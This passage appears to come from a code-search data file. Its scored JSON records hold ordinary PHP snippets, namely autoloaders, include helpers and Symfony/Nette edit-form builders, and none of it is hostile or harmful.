{\n\t\t$this->assertTrue($this->object->import('titon\\base\\Enum'));\n\t\t$this->assertTrue($this->object->import('/titon/base/Map.php'));\n\t\t$this->assertFalse($this->object->import('\\some\\fake\\ClassName'));\n\t\t$this->assertFalse($this->object->import('/some/fake/filePath.php'));\n\t}", "title": "" }, { "docid": "e6318c2b8dd898f628f083d103c2979b", "score": "0.47076187", "text": "public static function theme_imports()\n\t{\n\t\t// Directory of files to be included\n\t\t$dir = THEME_INC_DIR;\n\n\t\trequire_once($dir . 'walker/bs_menu_walker.php');\n\t\trequire_once($dir . 'customizer/customizer.php');\n\t\trequire_once($dir . 'kirki/kirki-installer-section.php');\n\t\trequire_once($dir . 'shortcodes/shortcodes.php');\n\t\trequire_once($dir . 'cpt/cpt-empre.php');\n\t\trequire_once($dir . 'helpers/helpers.php');\n\t}", "title": "" }, { "docid": "287e8ffdf9e34b05c004083b36941d21", "score": "0.46984184", "text": "public function casesJimport()\n\t{\n\t\treturn array(\n\t\t\t'fred.factory' => array('fred.factory', false, 'fred.factory does not exist'),\n\t\t\t'classloader' => array('cms.class.loader', true, 'JClassLoader should load properly'));\n\t}", "title": "" }, { "docid": "c737a83d01deeb0ace15dbcb765a547a", "score": "0.4692881", "text": "public function load_header_components() {\n\t\t// @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound\n\t\t$header_components_path = ASTRA_EXT_DIR . 'classes/builder/type/header';\n\t\tif ( ! class_exists( 'Astra_Header_Divider_Component' ) ) {\n\t\t\trequire_once $header_components_path . '/divider/class-astra-header-divider-component.php';\n\t\t}\n\t\t\n\t\trequire_once $header_components_path . '/account/class-astra-ext-header-account-component.php';\n\n\t\t// @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound\n\t}", "title": "" }, { "docid": "969e5648b9b03b1dbdc27b2b255917bc", "score": "0.46927157", "text": "function my_atoloader($class){\n\tinclude'../classes/'.$class. '.php';\n}", "title": "" }, { "docid": "8b87cae03591556b9d799377144ac0a5", "score": "0.46901572", "text": "public function useGlobally();", "title": "" }, { "docid": "fc82159d3f3554e69b5b51cf45ed04c6", "score": "0.46883234", "text": "function __autoload($name){\r\n\t\tinclude_once($name.\".php\");\r\n\t}", "title": "" }, { "docid": "fd38fc3b9749d0defd1407427c118ce7", "score": "0.46878976", "text": "public function include_files() {\n \t\t\trequire_once 'inc/invoice.class.php';\n \t\t\trequire_once 'inc/customer.class.php';\n \t\t\trequire_once 'helpers/form-helper.php';\n \t\t\trequire_once 'helpers/form-filters.php';\n \t\t\t\n \t\t\tnew DX_Invoice_Class();\n \t\t\tnew DX_Customer_Class();\n\t\t}", "title": "" }, { "docid": "081227ac66ff95d98defc8f42bdc08cc", "score": "0.46813414", "text": "private function includes() {\n\t\trequire_once WM_INCLUDES . '/class-autoloader.php';\n\t}", "title": "" }, { "docid": "9e2ad12fa9043bbfd72468021f579796", "score": "0.46802497", "text": "public function useLib($libName);", "title": "" }, { "docid": "805fa94631b00940021b697f1babe311", "score": "0.46785486", "text": "public function registerAutoloaders()\n {\n \t$config = include __DIR__ . \"/../../config/constants.php\";\n $loader = new Loader();\n\t\t\n\n $loader->registerNamespaces(array(\n 'App\\Modules\\Api\\Controllers' \t => __DIR__ . '/controllers/',\n 'App\\Library' \t \t\t\t\t => __DIR__ . '/../library/',\n 'App\\Models\\Entities' \t\t\t => $config->application->modelsEntitiesDir,\n 'App\\Models\\Services' \t\t\t => $config->application->modelsServicesDir,\n 'App\\Models\\Repositories' \t\t => $config->application->modelsRepositoriesDir\n ));\n\n $loader->register();\n }", "title": "" }, { "docid": "eaad40bf2a7c1e3447a5388afb874b27", "score": "0.46774703", "text": "function __autoload($class){ \r\n// print_r(\"loading class \" . $class . \"<br />\");\r\n if (preg_match('/\\\\\\\\/', $class)){\r\n $class = str_replace('\\\\', DIRECTORY_SEPARATOR, $class);\r\n }\r\n \r\n $filename = \"components\". DIRECTORY_SEPARATOR . $class . \".php\";\r\n \r\n if (fileExists($filename)){\r\n require_once $filename;\r\n }else if (fileExists($class.\".php\")){\r\n require_once $class.\".php\";\r\n }\r\n}", "title": "" }, { "docid": "6b2212bf9eef7a50d900cbf2e41b8f22", "score": "0.46768552", "text": "public function wpcd_load_core_traits() {\n\t\trequire_once wpcd_path . 'includes/core/traits/get_set_post_type.php';\n\t\trequire_once wpcd_path . 'includes/core/traits/metaboxes_for_taxonomies_for_servers_and_apps.php';\n\t\trequire_once wpcd_path . 'includes/core/traits/metaboxes_for_teams_for_servers_and_apps.php';\n\t\trequire_once wpcd_path . 'includes/core/traits/metaboxes_for_labels_notes_for_servers_and_apps.php';\n\t}", "title": "" }, { "docid": "66685cab57e8169256118d4605101a6c", "score": "0.46681786", "text": "function controladores_autoload($clasename){\n\n include 'controladores/'.$clasename.'.php';\n}", "title": "" }, { "docid": "f0ade7ce990ffe770f74ca41958d0daf", "score": "0.46661124", "text": "function controllers_autoload($classname)\n{\n include 'src/backend/controllers/' . $classname . '.php';\n}", "title": "" }, { "docid": "64159c67ed7009e18f8d2c9e92dfbab3", "score": "0.4657133", "text": "public function loadComponents() \n\t{\n\t\t// If no components are installed, install basic list of components\n\t\tif (empty($this->_installedClasses)) \n\t\t{\n\t\t\t$this->installComponents($this->_installList);\n\t\t}\n\n\t\t$this->dispatch('ComponentInitComplete');\n\t}", "title": "" }, { "docid": "6cd752a04b17952ff66aeb8268a22862", "score": "0.46562493", "text": "function cargar_clases($clase) {\n// require 'class/' . $clase . '.class.php';\n require $clase . '.class.php';\n }", "title": "" }, { "docid": "1979c8f89e278df872b05cf30027e70d", "score": "0.4650593", "text": "public function __construct() {\n foreach( glob(\"core/database/*.php\") AS $datas){\n require_once $datas;\n }\n\n /*Incluir todos los modelos*/\n foreach( glob(\"model/*.php\") AS $models){\n require_once $models;\n }\n \n require_once \"core/secury/middleware.php\";\n require_once \"vendor/includes/class/FormatText.php\";\n }", "title": "" }, { "docid": "5f18570adeea4f8ecb9b4c29147d3c8b", "score": "0.46492082", "text": "public function getImporters()\n {\n return array();\n }", "title": "" }, { "docid": "e68342dc83595cc4f9e8592f8bc182d2", "score": "0.46458545", "text": "function __autoload($class_name)\n{\n include 'BO/' . $class_name . '.php';\n}", "title": "" }, { "docid": "b8fea217c727e76b3cded494e598821d", "score": "0.46451694", "text": "public function autoload(){\n $this->require( \"{$this->DIR}/{$this->VENDOR_DIR}/autoload.php\" ); \n $this->load_platform_config();\n $this->define_constants();\n }", "title": "" }, { "docid": "b78660a377d90a5e023364d33ac6fb56", "score": "0.46446842", "text": "public function init_addons() {\n require_once ( PIXEREX_ELEMENTS_PATH . 'includes/class-addons-integration.php' );\n }", "title": "" }, { "docid": "9ed49c806e76ba145a30434434136f02", "score": "0.4643251", "text": "private function loadComposer()\r\n\t{\r\n\t\t//require LIB_PATH . 'vendor/autoload.php';\r\n\t}", "title": "" }, { "docid": "c1123194c51d882bc0f247c246c3e5b3", "score": "0.46377885", "text": "function load_tools()\r\n {\r\n if (! is_null($this->get_course_id()))\r\n {\r\n $wdm = WeblcmsDataManager :: get_instance();\r\n $this->tools = $wdm->get_course_modules($this->get_course_id());\r\n\r\n // foreach ($this->tools as $index => $tool)\r\n // {\r\n // require_once dirname(__FILE__) . '/../tool/' . $tool->name . '/' . $tool->name . '_tool.class.php';\r\n // }\r\n }\r\n }", "title": "" }, { "docid": "f0b559c877f05fe8c5a66d3997b73359", "score": "0.4637688", "text": "function bb_express_autoload( $class ) {\n\n $prefix = 'BrownBox\\\\Express\\\\';\n $base_dir = __DIR__ . '/src/';\n\n $len = strlen( $prefix );\n if ( strncmp( $prefix, $class, $len ) !== 0 ) {\n return;\n }\n\n $relative_class = substr( $class, $len );\n $file = $base_dir . str_replace( '\\\\', '/', $relative_class ) . '.php';\n\n if ( file_exists( $file ) ) {\n require_once $file;\n }\n\n}", "title": "" }, { "docid": "7dbdbe75cc7c26d780daf087c608c491", "score": "0.46355918", "text": "function github_explorer_autoload($className) {\n\t$segments = explode( '_', $className );\n\t$name = strtolower( end( $segments ) );\n\t$filename = GITHUB_EXPLORER_DIR . \"lib/\" . $name. \".php\";\n\tif (is_readable($filename)) {\n\t\trequire $filename;\n\t}\n}", "title": "" }, { "docid": "5ecd5e080f6ffceee36bc3055e0d4557", "score": "0.4633936", "text": "private function load_enabled_plugins()\n {\n if(static::$enabled_plugins)\n {\n foreach( static::$enabled_plugins as $name => $p )\n {\n if (class_exists($name)) {\n new $name;\n }\n }\n }\n }", "title": "" }, { "docid": "a782bde5aa6dbe263ac6af13d3e57409", "score": "0.46324557", "text": "function __autoload($class_name) {\r\n\t$matches = array();\r\n\tfind_files($matches, FRAMEWORK_LIBS, $class_name, 'php', 1); \r\n\tfind_files($matches, LIB_DIR, $class_name, 'php', 1);\r\n\tforeach ($matches as $m) {\r\n\t\trequire_once($m);\r\n\t} \r\n}", "title": "" }, { "docid": "582c891c919af094dfa25bc36215f1a6", "score": "0.46314755", "text": "function my_autoloader($className) {\n //elseif ($className == 'VGestioneMobile') include_once( 'View/'. $className . '.php' );\n\n\n $firstLetter = $className[0];\n switch ($firstLetter) {\n case 'E':\n include_once( 'Entity/'. $className . '.php' );\n break;\n\n case 'F':\n include_once( 'Foundation/'. $className . '.php' );\n break;\n\n case 'V':\n include_once( 'View/'. $className . '.php' );\n break;\n\n case 'C':\n include_once( 'Controller/'. $className . '.php' );\n break;\n\n case 'I':\n include_once( $className . '.php' );\n break;\n\n case 'U':\n include_once ('Utility/'. $className. '.php');\n break;\n }\n}", "title": "" }, { "docid": "8fc7ad0d43389fdd29ddbe33e780ba55", "score": "0.462675", "text": "function __construct() {\n\t\tparent::__construct();\n\n\t\t// models\n\t\t$models = array(\"vacancy/vacancy\");\n\n\t\t// load the models we have declared as dependencies\n\t\t// $this->load->model($models);\n\n\t}", "title": "" }, { "docid": "a11d204db727c6d1e6d6ff09e188e0eb", "score": "0.4626548", "text": "public function setUp() {\n $this->libraryLoader= \\lang\\ClassLoader::registerLoader(new \\lang\\archive\\ArchiveClassLoader(new Archive(\\lang\\XPClass::forName(\\xp::nameOf(__CLASS__))\n ->getPackage()\n ->getPackage('lib')\n ->getResourceAsStream('three-and-four.xar')\n )));\n $this->brokenLoader= \\lang\\ClassLoader::registerLoader(new \\lang\\archive\\ArchiveClassLoader(new Archive(\\lang\\XPClass::forName(\\xp::nameOf(__CLASS__))\n ->getPackage()\n ->getPackage('lib')\n ->getResourceAsStream('broken.xar')\n )));\n $this->containedLoader= \\lang\\ClassLoader::registerLoader(new \\lang\\archive\\ArchiveClassLoader(new Archive($this\n ->libraryLoader\n ->getResourceAsStream('contained.xar')\n )));\n }", "title": "" }, { "docid": "c58008d43bd1baad99340aeff24efc60", "score": "0.46190313", "text": "abstract protected function getPackages();", "title": "" }, { "docid": "5af8ebfb8d20cd80e38a5e8e01343230", "score": "0.46117824", "text": "public function assign_libraries() {\n\n\t\t//Get this classes name\n\t\t$name = get_class($this);\n\n\t\t//Get controller instance\n\t\tif(! $controller = get_instance()) {\n\t\t\texit('Controller not loaded yet');\n\t\t}\n\n\t\t//Get all variable keys\n\t\t$object_vars = array_keys(get_object_vars($controller));\n\n\t\tforeach ($object_vars as $key) {\n\n\t\t\t//Only pass objects (other libraries) to this class\n\t\t\tif($key != $name && is_object($controller->$key)) {\n\n\t\t\t\t//If a property by this name doesn't already exist\n\t\t\t\tif (!isset($this->$key)) {\n\t\t\t\t\t$this->$key = $controller->$key;\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "a8f7e139501d7972e6fe226df468978b", "score": "0.46084893", "text": "public function loadAddons() {\n global $DB;\n\n $addons = array();\n\n $records = $DB->get_records_sql(\n \"SELECT l1.id AS library_id,\n l1.machinename AS machine_name,\n l1.majorversion AS major_version,\n l1.minorversion AS minor_version,\n l1.patchversion AS patch_version,\n l1.addto AS add_to,\n l1.preloadedjs AS preloaded_js,\n l1.preloadedcss AS preloaded_css\n FROM {h5p_libraries} l1\n LEFT JOIN {h5p_libraries} l2\n ON l1.machinename = l2.machinename\n AND (l1.majorversion < l2.majorversion\n OR (l1.majorversion = l2.majorversion\n AND l1.minorversion < l2.minorversion))\n WHERE l1.addto IS NOT NULL\n AND l2.machinename IS NULL\");\n\n // NOTE: These are treated as library objects but are missing the following properties:\n // title, droplibrarycss, fullscreen, runnable, semantics.\n\n // Extract num from records.\n foreach ($records as $addon) {\n $addons[] = \\H5PCore::snakeToCamel($addon);\n }\n\n return $addons;\n }", "title": "" }, { "docid": "421ee2414cf88163faee18c14568d86c", "score": "0.46084142", "text": "function loadModules() {\n\t\t\n\t\t$activeModules = array();\n\t\t//$activeModules[] = \"Modules\\GFStarterKit\\Bootstrap\";\n\t\t//$activeModules[] = \"Modules\\GFFileManager\\Bootstrap\";\n\t\t\n\t\treturn $activeModules;\n\t}", "title": "" }, { "docid": "fdc85870615cc452f2fc4d55a017513e", "score": "0.46034947", "text": "function __autoload($class){\n require LIBS.$class.'.php';\n}", "title": "" }, { "docid": "82206781152324cda76e2ae70ec3e63e", "score": "0.45997226", "text": "public function runCategoryImport() {\n\t\t$categories = $this->getJmCategories();\n\t\tforeach ($categories as $category) {\n $this->importCategoryRow($category);\n\t\t}\n\t}", "title": "" }, { "docid": "5187452a84d32c9364c2cd1808426cf5", "score": "0.45966032", "text": "public function __construct()\n {\n parent::__construct();\n $this->import('Contao\\BackendUser', 'User');\n }", "title": "" } ]
bb0e0556f4eedbd239b1ee3381e5aa30
Creates a form to edit a Core entity.
[ { "docid": "fcb9a77fc2b276e0e1b7e871d293f468", "score": "0.79003006", "text": "private function createEditForm(Core $entity)\n {\n $form = $this->createForm(new CoreType(), $entity, array(\n 'action' => $this->generateUrl('core_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" } ]
[ { "docid": "2cf27d835c36fe181c71d1bd6a402471", "score": "0.6985383", "text": "private function createEditForm(CarteFidelite $entity)\n {\n $form = $this->createForm(new CarteFideliteType(), $entity, array(\n 'action' => $this->generateUrl('cartefidelite_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Mise à jour','attr' => array('class' => 'btn btn-block btn-success')));\n\n return $form;\n }", "title": "" }, { "docid": "1d94403d2acd74d9393297956ff20089", "score": "0.6866348", "text": "function edit()\n {\n $this->_form('edit');\n }", "title": "" }, { "docid": "e95fc6f95055aec148ecd33997b40222", "score": "0.6850674", "text": "private function createEditForm($entity)\n {\n $submitTranslation = $this->get('translator')->trans('hecommerce.management.ok', array(), 'management');\n\n $form = $this->createForm('hecommerce_' . $this->entityName . '_form', $entity, array(\n 'action' => $this->generateUrl('hecommerce_management_' . $this->entityName . '_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => $submitTranslation));\n\n return $form;\n }", "title": "" }, { "docid": "53a2d2bac76848560b21f1c32f0ab34d", "score": "0.6836792", "text": "public function createEditForm($entity)\n {\n return $this->createForm(new ArticleType($this->container->get('security.context')),$entity, array(\n 'method'=>'POST',\n 'action'=>$this->generateUrl('article_update',array(\n 'id'=>$entity->getId()\n )),\n 'attr'=>array(\n 'class'=>'article-form'\n )\n ));\n }", "title": "" }, { "docid": "28b6c0feed0f6616442bd49511f52b4f", "score": "0.6799267", "text": "private function createEditForm(Acta $entity)\n {\n $form = $this->createForm(new ActaType(), $entity, array(\n 'action' => $this->generateUrl('acta_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n// $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "2fba99fd57baebb36af59a8cfb4bc5fd", "score": "0.6786147", "text": "public function getEditForm();", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.6783852", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "4b0ad2b6a371d3e1f378402c30897967", "score": "0.67716587", "text": "private function createEditForm(Compagnie $entity)\n {\n $form = $this->createForm(new CompagnieType(), $entity, array(\n 'action' => $this->generateUrl('compagnie_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "f8cd40aa8634ded0dee8678b96498bd4", "score": "0.6685335", "text": "private function createEditForm(Aside $entity)\n {\n $form = $this->createForm(new AsideType(), $entity, array(\n 'action' => $this->generateUrl('asides_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n //$form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "aa928cda2c97960dbeb9998f2ad544bc", "score": "0.6679071", "text": "private function createEditForm(Convocatoria $entity)\n {\n $form = $this->createForm(new ConvocatoriaType(),\n $entity, array('action' => $this->generateUrl('convocatoria_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "5b5027537e8e1b80c4e637ee1da87275", "score": "0.6669379", "text": "private function createEditForm(Orden $entity)\n {\n $form = $this->createForm(new OrdenType(), $entity, array(\n 'action' => $this->generateUrl('admin_orden_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n //$form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "9443931fcf9450e4082ea1fcc8f7947f", "score": "0.66659594", "text": "public function editAction()\n {\n $category = $this->_helper->db->findById();\n $form = $this->_getForm($category);\n $this->view->form = $form;\n $this->_processPageForm($category, $form, 'edit'); \n }", "title": "" }, { "docid": "d02a3fb2685b7b60ce2ab099730db23f", "score": "0.6648993", "text": "public function createComponentEditDelete(): Form\r\n {\r\n $data = $this->database->query('SELECT id FROM nutrition')->fetchAll();\r\n\r\n\r\n $form = new Form;\r\n $form->addSubmit('delete', 'Delete')->onClick[] = [$this, 'deleteButtonPressed'];\r\n $form->addSubmit('edit', 'Edit')->onClick[] = [$this, 'editButtonPressed'];\r\n foreach ($data as $row) {\r\n $form->addCheckbox(strval($row->id));\r\n }\r\n\r\n // foreach ($data as $id) {\r\n // $form->addCheckbox(strval($data->$id));\r\n // }\r\n\r\n // foreach ($data->id as $id) {\r\n // $form->addCheckbox(\"nutritionCheckbox:$id\");\r\n // }\r\n return $form;\r\n }", "title": "" }, { "docid": "64220265af845110574df161bd4773d7", "score": "0.66306233", "text": "function regression_regression_entry_form_edit($form, &$form_state, $entity) {\n return $form;\n}", "title": "" }, { "docid": "a1e70bcd6fc9081ccf428b9ae0957873", "score": "0.6614836", "text": "private function createEditForm(Classe $entity)\n {\n $user = $this->container->get('security.context')->getToken()->getUser();\n $form = $this->createForm(new ClasseType($user), $entity, array(\n 'action' => $this->generateUrl('classe_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "8170dad1a4d1b960f4d0da66e34109d2", "score": "0.6612463", "text": "private function createEditForm(TipoContenedor $entity)\n {\n $form = $this->createForm(new TipoContenedorType(), $entity, array(\n 'action' => $this->generateUrl('tipocontenedor_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n //$form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "2bb99c605efa65d1e3d68534ab6a41a0", "score": "0.6597128", "text": "private function createEditForm(ExtGramfoodkompow $entity) {\r\n\t\t$form = $this->createForm ( new ExtGramfoodkompowType (), $entity, array (\r\n\t\t\t\t'action' => $this->generateUrl ( 'gramfood_magazyn_kompletacje_ExtPowUpdate', array (\r\n\t\t\t\t\t\t'id' => $entity->getId ()\r\n\t\t\t\t) ),\r\n\t\t\t\t'method' => 'PUT'\r\n\t\t) );\r\n\t\t\r\n\t\treturn $form;\r\n\t}", "title": "" }, { "docid": "73cf6e1fea1dc6e05129d643c3ce9940", "score": "0.6595575", "text": "private function createEditForm(Paquete $entity) {\n $form = $this->createForm(new PaqueteType(), $entity, array(\n 'action' => $this->generateUrl('paquete_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update', 'attr' => array('class' => 'btn btn-primary')));\n\n return $form;\n }", "title": "" }, { "docid": "a806856e1a49704df51fba498064a1f2", "score": "0.65936923", "text": "public function editAction()\n {\n\t$objectManager = $this->getServiceLocator()->get('Doctrine\\ORM\\EntityManager');\n\n\t// Create the form and inject the ObjectManager\n\t$form = new UpdateBlogPostForm($objectManager);\n\n\t// Create a new, empty entity and bind it to the form\n\t$cliente = $this->userService->get($this->params('cliente_id'));\n\t$form->bind($cliente);\n\n\tif ($this->request->isPost())\n\t{\n\t $form->setData($this->request->getPost());\n\n\t if ($form->isValid())\n\t {\n\t\t// Save the changes\n\t\t$objectManager->flush();\n\t }\n\t}\n\n\treturn array('form' => $form);\n }", "title": "" }, { "docid": "acb0fa302fcb2350ae10aa0484294def", "score": "0.6592218", "text": "private function createCreateForm(Core $entity)\n {\n $form = $this->createForm(new CoreType(), $entity, array(\n 'action' => $this->generateUrl('core_create'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Create'));\n\n return $form;\n }", "title": "" }, { "docid": "2bb340a97b245d5f06e1d99f8b619544", "score": "0.65862787", "text": "private function createEditForm(imiona $entity)\n {\n $form = $this->createForm(new imionaType(), $entity, array(\n 'action' => $this->generateUrl('imiona_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "2978046a6404a415818ac8be8fd5e2cc", "score": "0.65857744", "text": "private function createEditForm(Pedido $entity)\n{\n $form = $this->createForm(new PedidoType(), $entity, array(\n 'action' => $this->generateUrl('produtos_show_edit_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n}", "title": "" }, { "docid": "82c23de41f9b3649ed784278bdf672c1", "score": "0.65816736", "text": "private function createEditForm(IndexWebPage $entity)\n {\n $form = $this->createForm(new IndexWebPageType(), $entity, array(\n 'action' => $this->generateUrl('index_webpage_update', array('token' => $entity->getToken())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('attr' => array('class' => 'btn btn-info'),'label' => '确认'));\n\n return $form;\n }", "title": "" }, { "docid": "e8a0d3f16765a1613f1d5dbdc94ddec0", "score": "0.6573844", "text": "private function createEditForm(Entreprise $entity)\n {\n $form = $this->createForm(new EntrepriseType(), $entity);\n\n $form->add('submit', 'submit', array('label' => 'Sauvegarder les modifications'));\n\n return $form;\n }", "title": "" }, { "docid": "db1f19c5b85aba718da20f607bef7604", "score": "0.6567827", "text": "private function oeuvresEditForm(Oeuvres $entity)\r\n {\r\n $form = $this->createForm(new OeuvresType(), $entity, array(\r\n 'action' => $this->generateUrl('_admin_oeuvres_update', array('id' => $entity->getId())),\r\n 'method' => 'PUT',\r\n ));\r\n \r\n $form->add('submit', 'submit', array('label' => 'Update'));\r\n\r\n return $form;\r\n }", "title": "" }, { "docid": "000ab8817e06a378841eccacba3aae14", "score": "0.65609735", "text": "private function createEditForm(Rio $entity)\n {\n $form = $this->createForm(new RioType(), $entity, array(\n 'action' => $this->generateUrl('rios_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n 'attr' => array('class' => 'box-body')\n ));\n\n $form->add(\n 'submit',\n 'submit',\n array(\n 'label' => 'Actualizar',\n 'attr' => array('class' => 'btn btn-primary pull-right'),\n )\n );\n\n return $form;\n }", "title": "" }, { "docid": "b341d747a286f1219347240262e89130", "score": "0.65488744", "text": "private function createEditForm(fabricante $entity)\n {\n $form = $this->createForm(new fabricanteType(), $entity, array(\n 'action' => $this->generateUrl('fabricante_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "341e5a2e452beace3acae1cd105b1b8a", "score": "0.65395963", "text": "private function createEditForm(ReferenciaLaboral $entity)\n {\n $form = $this->createForm(new ReferenciaLaboralType(), $entity, array(\n 'action' => $this->generateUrl('alumno_referencialaboral_update', array('id' => $entity->getIdRf())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Actualizar','attr' => array('class' => 'btn btn-primary square-btn-adjust',\n )));\n return $form;\n }", "title": "" }, { "docid": "c08fa31190fa9574cb3e77d3f5ed8b1c", "score": "0.6533153", "text": "function regression_regression_revision_form_edit($form, &$form_state, $entity) {\n return $form;\n}", "title": "" }, { "docid": "a0e1ba3bfaa02cbc3777371a86000ed9", "score": "0.6518011", "text": "private function createEditForm(CIncapacidades $entity)\n {\n $form = $this->createForm(new CIncapacidadesType(), $entity, array(\n 'action' => $this->generateUrl('cincapacidades_update', array('id' => $entity->getId())),\n 'method' => 'POST',\n ));\n\n //$form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "d52a97f0836f05f1d91c2474e7ebe83f", "score": "0.65155953", "text": "private function createEditForm(ELicencia $entity)\n {\n $form = $this->createForm(new ELicenciaType(true), $entity, array(\n 'action' => $this->generateUrl('elicencia_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Actualizar', 'attr'=>array('class'=>'btn btn-success')));\n\n return $form;\n }", "title": "" }, { "docid": "f99ed1acea2bb4cdc70dfec2a1511d2e", "score": "0.65155315", "text": "public function edit(Cvform $cvform)\n {\n //\n }", "title": "" }, { "docid": "12b7e5d3d9cb665e40626307c8c40c99", "score": "0.6504998", "text": "public function edit($id)\n\t{\n\t\t$form = \\View::make('company.form');\n\t\t$form->company = Company::find($id);\n\t\t$form->action = array('action' => array('Powerhouse\\Core\\CompanyController@update', $form->company->id),'class'=>'form-signup');\n\t\treturn $form;\n\t}", "title": "" }, { "docid": "a0583b7a5cb0c79ad6a5dd52a34fb5c1", "score": "0.6497459", "text": "private function createEditForm(Alumno $entity)\n {\n $form = $this->createForm(new AlumnoType(), $entity, array(\n 'action' => $this->generateUrl('alumno_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "c751f14f9ffd0ee259c6b39ca9d94409", "score": "0.6486251", "text": "public function editAction()\n {\n if ($this->getRequest()->isGet()) {\n $artId = $this->getRequest()->getParam('artid');\n $article = $this->view->blog->getArticle($artId);\n\n $form = $this->view->form;\n $form->getElement('article_id')->setValue($article->getId());\n $form->getElement('headline')->setValue($article->getHeadline());\n $form->getElement('subhead')->setValue($article->getSubhead());\n $form->getElement('abstract')->setValue($article->getAbstract());\n\n $i = 0;\n foreach ($article->getTextParagraphs() as $paragraph) {\n if (self::DEBUG) {\n Zend_Debug::Dump($paragraph->getParagraphText(), 'paragraph '.$i);\n }\n\n $pSubForm = new Foomy_Blog_Form_Paragraph();\n $pSubForm->getElement('paragraph')->setValue($paragraph->getParagraphText());\n\n if ($i > 0) {\n $pSubForm->getElement('paragraph')->setLabel('');\n }\n\n $form->addSubForm($pSubForm, 'pSubForm_'.$i);\n $i++;\n }\n\n $this->view->form = $form;\n } else {\n $redirector = $this->_helper->getHelper('Redirector');\n $redirector->setCode(303)\n ->setExit(true)\n ->setGotoSimple('index', 'index', 'blog');\n $redirector->redirectAndExit(); \n } \n }", "title": "" }, { "docid": "b65bfe2c850c2acc974e4b84d5a8f44b", "score": "0.6483441", "text": "private function createEditForm(Termino $entity)\n {\n $form = $this->createForm(new TerminoType(), $entity, array(\n 'action' => $this->generateUrl('termino_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "a109c27fcb7e892865b6bfed2c684142", "score": "0.6476102", "text": "private function createEditForm(SkPhotoContestCategory $entity)\n {\n $form = $this->createForm(new SkPhotoContestCategoryType(), $entity, array(\n 'action' => $this->generateUrl('photo_contest_category_admin_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n// $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "586d62352fdac99070ad73bc614e5a95", "score": "0.6476024", "text": "public function edit() {\t\t\n\t\t$this->set_projects();\n\t\t$this->verify_id_param();\n\t\t$this->set_object();\n\t\t$this->create_or_save();\n\t}", "title": "" }, { "docid": "f47fa5d973f54e55f3bbeddc4959d85a", "score": "0.64712715", "text": "private function createEditForm(NomenclatureIndicateur $entity)\n {\n $form = $this->createForm(new NomenclatureIndicateurType(), $entity, array(\n 'action' => $this->generateUrl('nomenclatureindicateur_update', array('id' => $entity->getCodeindi())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }", "title": "" }, { "docid": "8b3cec8696e1359fd4a0e2206974bc97", "score": "0.6469478", "text": "public function createComponentEditForm($row){\n\t\tif($row->nickname == $this->getUser()->id){\n\t\t\t$form = new \\Nette\\Application\\UI\\Form();\n\t\t\t$form->setAction('?do=addForm-submit');\n\t\t\t$form->addPassword('current', 'Současné heslo:')->setRequired('Zadejte současné heslo.');\n\t\t\t$form->addPassword('password', 'Heslo:')->setRequired('Zadejte nové heslo.')->addRule(Form::MIN_LENGTH, 'Heslo musí mít alespoň %d znaků', 6);\n\t\t\t$form->addPassword('password_confirmation', 'Ověření 